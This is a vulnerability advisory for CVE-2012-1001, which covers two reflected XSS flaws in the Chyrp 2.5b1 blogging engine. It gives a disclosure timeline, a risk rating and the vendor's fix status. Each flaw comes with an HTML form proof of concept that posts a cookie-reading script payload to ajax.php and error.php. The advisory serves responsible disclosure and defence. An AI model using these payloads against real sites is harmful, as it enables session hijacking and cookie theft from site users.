Multiple XSS in Chyrp

Advisory ID:HTB23073
Product:Chyrp
Vendor:Chyrp
Vulnerable Versions:2.5b1 and probably prior
Tested Version:2.5b1
Advisory Publication:February 1, 2012 [without technical details]
Vendor Notification:February 1, 2012
Vendor Fix:February 2, 2012
Public Disclosure:February 22, 2012
Latest Update:February 24, 2012
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2012-1001
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Chyrp, which can be exploited to perform Cross Site Scripting attacks.

1) Cross Site Scripting (XSS) in Chyrp: CVE-2012-1001
1.1 Input passed via the "content" POST parameter to /includes/ajax.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC (Proof of Concept) demonstrates the vulnerability:
<form action="http://[host]/includes/ajax.php" method="post">
<input type="hidden" name="action" value="preview" />
<input type="hidden" name="feather" value="" />
<input type="hidden" name="field" value="" />
<input type="hidden" name="content" value='<script>alert(document.cookie);</script>' />
<input type="submit" id="btn">
</form>

1.2 Input passed via the "body" POST parameter to /includes/error.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC (Proof of Concept) demonstrates the vulnerability:
<form action="http://[host]/includes/error.php" method="post">
<input type="hidden" name="ajax" value="1" />
<input type="hidden" name="body" value='<script>alert(document.cookie);</script>' />
<input type="submit" id="btn">
</form>

Successful exploitation of this vulnerability (1.2) requires that "register_globals" is enabled.

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Solution:
Vulnerability 1.1 is fixed by Vendor. Awaiting Vendor's solution for the 1.2.
Upgrade to Chyrp 2.1.2 or Chyrp 2.5 Beta 2

More information:
http://chyrp.net/2012/02/02/heres-whats-been-going-on-recently/


References:
[1] High-Tech Bridge Advisory HTB23073 - https://www.immuniweb.com/advisory/HTB23073 - Multiple XSS in Chyrp.
[2] Chyrp - http://chyrp.net - Chyrp is a blogging engine designed to be very lightweight while retaining functionality. It is powered by PHP and has very powerful theme and extension engines.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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